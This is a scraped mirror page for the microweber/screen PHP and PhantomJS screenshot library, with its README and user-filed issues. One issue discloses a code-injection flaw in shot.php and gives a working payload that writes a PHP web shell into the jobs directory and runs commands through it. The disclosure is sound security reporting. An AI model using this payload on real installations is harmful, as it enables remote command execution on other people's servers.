Giter Site home page Giter Site logo

screen's Introduction

Screen

Web site screenshot tool based on PHP and PhantomJS You can use it to take screenshots for testing or monitoring service

Install

Via Composer

$ composer require microweber/screen

If on any Unix system, you need to make the bin executable chmod +x /path/to/screen/bin/phantomjs

The directory /path/to/screen/jobs must be writable as well.

Linux requirements

  • FontConfig - apt-get/yum install fontconfig
  • FreeType - apt-get/yum install freetype*

Usage

With this library you can make use of PhantomJs to screenshot a website.

Check our demo or read the following instructions.

Creating the object, you can either pass the URL on the constructor or set it later on

use Screen\Capture;

$url = 'https://github.com';

$screenCapture = new Capture($url);
// or
$screenCapture = new Capture();
$screenCapture->setUrl($url);

You can also set the browser dimensions

$screenCapture->setWidth(1200);
$screenCapture->setHeight(800);

you can set also DOM Element Position (top, left)

$screenCapture->setTop(100);
$screenCapture->setLeft(100);

This will output all the page including the content rendered beyond the setted dimensions (e.g.: all the scrollable content), if you want just the content inside those boudaries you need to clip the result

// You also need to set the width and height.
$screenCapture->setClipWidth(1200);
$screenCapture->setClipHeight(800);

Some webpages don't have a background color setted to the body, if you want you can set the color using this method

$screenCapture->setBackgroundColor('#ffffff');

You can also set the User Agent

$screenCapture->setUserAgentString('Some User Agent String');

And the resulted image type

// allowed types are 'jpg' and 'png', default is 'jpg'.
$screenCapture->setImageType(Screen\Image\Types\Png::FORMAT);
// or
$screenCapture->setImageType('png');
  • If the format is jpg and the background color is not set, the default value will be #FFFFFF, if png the default background color will be transparent.

And most importantly, save the result

$fileLocation = '/some/dir/test.' . $screen->getImageType()->getFormat();
$screenCapture->save($fileLocation);

// you don't need to set the file extension
$fileLocation = '/some/dir/test';
$screenCapture->save($fileLocation); // Will automatically determine the extension type

echo $screenCapture->getImageLocation(); // --> /some/dir/test.png

Injection your own JS into the web page

You can also run your own JS scripts or snippets before the screenshot.

For that we have the method includeJs, here are some usage examples:

// Including a remote file
$jQueryUrl = 'https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js';
$screenCapture->includeJs(new \Screen\Injection\Url($jQUeryUrl));

// Including a local file
$localFilePath = 'path/to/my/script.js';
$screenCapture->includeJs(new \Screen\Injection\LocalPath($localFilePath));

// Using the scripts included on the library
$screen->includeJs(new \Screen\Injection\Scripts\FacebookHideCookiesPolicy());
$screen->includeJs(new \Screen\Injection\Scripts\FacebookHideSignUp());

// Using a js snippet
$screen->includeJs("console.log('This is supa cool!');");

Just use this method before calling save(...)

Passing options to PhantomJS

You can set the options that will be passed to the PhantomJS binary.

$screenCapture->setOptions([
    'ignore-ssl-errors' => 'yes',
    // '--ignore-ssl-errors' => 'yes', // dashes may be omitted
]);

Other configurations

Additionally to the basic usage, you can set so extra configurations.

You can change the where the PhantomJS binary file is.

$screenCapture->binPath = '/path/to/bin/dir/';
// This will result in /path/to/bin/dir/phantomjs

Change the jobs location

$screenCapture->jobs->setLocation('/path/to/jobs/dir/');
echo $screenCapture->jobs->getLocation(); // -> /path/to/jobs/dir/

And set an output base location

$screenCapture->output->setLocation('/path/to/output/dir/');
echo $screenCapture->output->getLocation(); // -> /path/to/output/dir/

// if the output location is setted
$screenCapture->save('file.jpg');
// will save the file to /path/to/output/dir/file.jpg

You can also clean/delete all the generated job files like this:

$screenCapture->jobs->clean();

License

The MIT License (MIT). Please see License File for more information.

Credits

Thanks to the PhantomJS (LICENSE) guys for creating their awesome WebKit scripting interface.

This tool was originally created to take screenshots for Microweber

screen's People

Contributors

akiyamasm avatar al0mie avatar alnviana avatar ashleyadams avatar joshp23 avatar karlonjegovan avatar lahaxearnaud avatar limonte avatar masnathan avatar mbardelmeijer avatar noahcoffey avatar peter-mw avatar pouu69 avatar sam0hack avatar sergey-nechaev avatar xuanskyer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

screen's Issues

Clean up cache directory

Hello !

Firstly, thanks for work !!

About cache, how to clean up cache directory about any days ?!

Thank you!

caching?

Does this tool support caching?

Save to PNG?

Can I save a screenshot to PNG format instead of JPG? Can't find anything related to changing output format in docs.

unsupport php7

Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

Problem 1
- Installation request for microweber/screen ^1.0.1 -> satisfiable by microweber/screen[v1.0.1].
- microweber/screen v1.0.1 requires php ~5.3 -> your PHP version (7.0.4) does not satisfy that requirement.

autoloader missing

when installing am getting serval errors such as autoloader missing
i assume this has something todo with composer as i didn't use it for installing.
are there noway to simply install this without installing via composer?

failed to write the picture

Hey.
Just tried to use your demo code and this is what I got from nginx:

FastCGI sent in stderr: "PHP message: PHP Warning: filesize(): stat failed for test.jpg in /httpdocs/test.php on line 42 PHP message: PHP Warning: readfile(test.jpg): failed to open stream: No such file or directory in /httpdocs/test.php on line 43" while reading response header from upstream

Thx for your package anyway

Follow redirects?

are there anyway to easily make the screenshotter follow redirects? am sure phantomjs has some functions for it but am not very familiar with it

if i request a screenshot from lets say adc.com it returns 301 with a valid redirection
this causes the screenshot to return an white image of nothing yet viewing the site in a the browser shows content

Delay Page Render?

First off, thanks for this package! Installed on Linux box working perfectly, however I have a small issue --

I'm trying to screencapture a page which has a few highcharts graphs (JS), and it seems that the screen capture happens before all of the graphs have time to load. Is there a way to add a delay to the page render to give it enough time to load the visualizations?

shot.php executes arbitrary commands via phantomjs

$url_segs in shot.php is defined before filtering a $url variable in 65-71 lines, so an attacker can inject a payload via$screen_file that defined as

74: $screen_file = $url_segs['host'] . crc32($url) . '_' . $w . '_' . $h . '.jpg';

and used then in js code which phantomjs executes:

105: page.render('{$screen_file}');

The main complexity for an attacker is limitation of the unix file naming, but it's not enough to protect from a code execution, so the vector, that avoids this 'problem', may look something like this:

');require(String.fromCharCode(102,115)).write(String.fromCharCode(106,111,98,115,47,49,46,112,104,112),String.fromCharCode(60,63,112,104,112,10,115,121,115,116,101,109,40,36,95,71,69,84,91,99,93,41,59));<!--

After submitting it as "URL for screenshot" input field will be created 1.php file contents:

<?php system($_GET[c]);

in jobs directory and request jobs/1.php?c=<command> will show the result of executing <command>

Should catch the exception in function save of class Capture

Should catch the exception in function save of class Capture

public function save($imageLocation, $deleteFileIfExists = true)
    {
        $this->imageLocation = $this->output->getLocation() . $imageLocation;

        if (!pathinfo($this->imageLocation, PATHINFO_EXTENSION)) {
            $this->imageLocation .= '.' . $this->getImageType()->getFormat();
        }

        $data = array(
            'url'           => $this->url,
            'width'         => $this->width,
            'height'        => $this->height,
            'imageLocation' => LocalPath::sanitize($this->imageLocation),
        );

        if ($this->clipWidth && $this->clipHeight) {
            $data['clipOptions']['width'] = $this->clipWidth;
            $data['clipOptions']['height'] = $this->clipHeight;
            $data['clipOptions']['top'] = 0;
            $data['clipOptions']['left'] = 0;
        }

        if ($this->backgroundColor) {
            $data['backgroundColor'] = $this->backgroundColor;
        } elseif ($this->getImageType()->getFormat() == Types\Jpg::FORMAT) {
            // If there is no background color set, and it's a jpeg
            // we need to set a bg color, otherwise the background will be black
            $data['backgroundColor'] = '#FFFFFF';
        }

        if ($this->userAgentString) {
            $data['userAgent'] = $this->userAgentString;
        }

        if ($this->timeout) {
            $data['timeout'] = $this->timeout;
        }

        if ($this->includedJsScripts) {
            $data['includedJsScripts'] = $this->includedJsScripts;
        }

        if ($this->includedJsSnippets) {
            $data['includedJsSnippets'] = $this->includedJsSnippets;
        }

        if ($deleteFileIfExists && file_exists($this->imageLocation) && is_writable($this->imageLocation)) {
            unlink($this->imageLocation);
        }

        $jobName = md5(json_encode($data));
        $jobPath = $this->jobs->getLocation() . $jobName . '.js';

        if (!is_file($jobPath)) {
            // Now we write the code to a js file
            $resultString = $this->getTemplateResult('screen-capture', $data);
            file_put_contents($jobPath, $resultString);
        }

        $command = sprintf("%sphantomjs %s", $this->binPath, $jobPath);
        $result = exec(escapeshellcmd($command));

        return file_exists($this->imageLocation);
    }

doesnt work

http://www.urbanbeagle.com/screen/ it accepts the URL it creates several files in the jobs folder. Looking at the file severythign seems right but I do not see an image on the screen after I send submit...I have installed all the items you said to install and I changed the permissions as told.. any ideas what could be the issue?

ok looking at the .js created for this URL I see this...

var page = require('webpage').create();

page.viewportSize = { width: 1024, height: 768 };

page.open('http://www.sidesplitterscomedy.com/Knoxville/schedule.asp\?Page=http://www.ticketbiscuit.com/SideSplittersKnoxville/EventPage.aspx\?EID=183120\&\&\~AffTID=2\~AffID=47', function () {
page.render('www.sidesplitterscomedy.com1648907183_1024_768.jpg');
phantom.exit();
});

I see the url I pasted but then I see that the rendered file is definitely not going to show since its path is nowhere locally on my server which I would expect.

I think tha tis created by your script correct?

Microweber does not work for all pages

Hello There,

I need to take screenshot of google website with search result.But it always returns following error:

URL: https://www.google.co.in/?gfe_rd=cr&ei=LQODV__mNObA8gf9yryoBw&gws_rd=ssl#q=microweber
Error:
Array
(
[0] => TypeError: null is not an object (evaluating 'document.body.bgColor = '#ffffff'')
[1] =>
[2] => undefined:2
[3] => :3
)

But for all other pages like github's result page, it works fine. Can someone help me what is the fix for this issue?

MAC Notes

Hello. Just some notes on getting shot.php working on a MAC (Mavericks). This was with an XAMPP server.

Issue with execution of the script

I have problem with execution of the script.

I have uploaded script onto: http://domain.ru/example/Phantomjs/:

I am trying to

  1. use index.php to get screenshot of the page (enter url of the page to the form ,etc) , however it just reloads the page and nothing else.
  2. use shot.php with different parameters, however it does not work as well. Also it seems that shot.php has error(s), however I cannot see them.I tried ini_set('display_errors', 1) and error_reporting(E_ALL) at the beginning of the page, however none of the errors appeared.

Am I correct that command chmod +x bin/phantomjs is the same if I will do 0655 file permission for the file? I tried to make permission of chmod via the SSL connection to my server and seemed to change them (as it did not show any errors, when I was doing it). But I am not sure how to check if chmod of phantomjs file has changed to +x.

PS. exec() function is enabled.

Please help me to solve this issue.
Thank you in advance.

image resize?

Seems like phantomjs does not support image resize?

Unable to capture.

Unable to capture some websites like facebook.com and live.com etc...

PHP Version

Hello,
this library in composer has a php require ~5.3.
Can it be compatible with php 6 or php 7?
Thanks in advance.

pull request

I have send you a pull request please merge code ASAP and thanks for this wonderful code :) 👍

Working but text are blocks..

Hello,

The function is working only and it looks nice. But it won't let me see text.. It only shows boxes. (see screenshot)

shot php

Transparent background?

Howdy!

Is it possible to capture a webpage where the background is transparent with this utility? I've got it installed and working great-- thanks for all your hard work! :)

Include an x64 version of the PhantomJS binary, too?

It would make things easier in some cases. I already had all the required x64 packages (glibc, zlib, fontconfig, etc) installed, but without an x64 version of phantom I needed to install the i686 libraries to make it work. I choose to include an x64 version of PhantomJS in my own code and set the binPath to use it instead. Great package, btw!

binary file got error in linux

the phantomjs binary file got error, when I run it, my webpage showing internal server error 500, and here's some log details collected

root@track [344 01:12:18 /home/mydir]# php public_html/screen-master/bin/phantomjs

Warning: Unexpected character in input: '' (ASCII=5) state=0 in /bin/phantomjs on line 631

Parse error: syntax error, unexpected ' in /bin/phantomjs on line 631

Not working on linux server

Great Plugin..
Its working fine my local windows maching but when i upload on server which is linux server its not working its show binary file error!

Help needed.

Height Limit?

Hi. More of a question than an issue. Is there a height limit on the capture as I am getting a large black block at the bottom of the image (it is 34995px high). Some of the content that I am trying to screen shot is missing and there is just black.

Thanks.

Strange errors; how to solve

Sep 30 13:40:29 server kernel: phantomjs[22532]: segfault at 8 ip 0000003d9ee0b3a3 sp 00007fff2d37f160 error 4 in ld-2.12.so[3d9ee00000+20000]
Sep 30 13:40:29 server abrtd: Directory 'ccpp-2014-09-30-13:40:29-22532' creation detected
Sep 30 13:40:29 server abrt[22533]: Saved core dump of pid 22532 (/home/nieuws/domains/xxxxxxxxxxxxx/public_html/screen-master/bin/phantomjs) to /var/spool/abrt/ccpp-2014-09-30-13:40:29-22532 (2129920 bytes)
Sep 30 13:40:29 server abrtd: Executable '/home/nieuws/domains/xxxxxxxxxx/public_html/screen-master/bin/phantomjs' doesn't belong to any package and ProcessUnpackaged is set to 'no'
Sep 30 13:40:29 server abrtd: 'post-create' on '/var/spool/abrt/ccpp-2014-09-30-13:40:29-22532' exited with 1
Sep 30 13:40:29 server abrtd: Deleting problem directory '/var/spool/abrt/ccpp-2014-09-30-13:40:29-22532'
Sep 30 13:40:38 server kernel: phantomjs[22536]: segfault at 8 ip 0000003d9ee0b3a3 sp 00007fffe6da2a50 error 4 in ld-2.12.so[3d9ee00000+20000]
Sep 30 13:40:38 server abrt[22537]: Not saving repeating crash in '/home/nieuws/domains/xxxxxx/public_html/screen-master/bin/phantomjs'

Clean jobs dir

Add a method that removes all the files from the jobs directory

Doubt about Multilingual Screen Capture

Hello,
If I am going to take screenshot of multilingual website (utf-8), then the screenshot appears with rectangular boxes instead of characters. (Please refer attached screenshot of Arabic Website)

Q. PhantomJS screen capture library worked with multilingual website screenshots or not?

error

Fatal error

am getting

Fatal error: Class 'Screen\Location\Jobs' not found in /var/www/html/Screen/src/Capture.php on line 106

i installed without composer in case that has something todo with it

Issues with IDN domains

If domain contains non-ASCII symbols you'll get exception:

Exception 'Screen\Exceptions\InvalidUrlException' with message 'The url 'http://президент.рф' is not valid.'
...
in .../vendor/microweber/screen/src/Injection/Url.php:24

The reason is here:

        if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) {
            throw new InvalidUrlException($url);
        }

http://php.net/manual/en/filter.filters.validate.php

FILTER_VALIDATE_URL ... Note that the function will only find ASCII URLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.

I tried idn_to_ascii() to work it around.

Image was created, but contained only background (white for jpg, transparent for png).

This happens both on Windows and Ubuntu.

Doubt

Can I get the binary of the image or just save that into a file?

More detail in instructions please

Hi

Please can you expand on the instructions... e.g.

Does it have to be this folder? /var/www/html/screen/bin/phantomjs? can it not go in the web directory? Does it have to be accessible in a browser, so on public_html?

You state "Make your folder writeable" - which folder?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.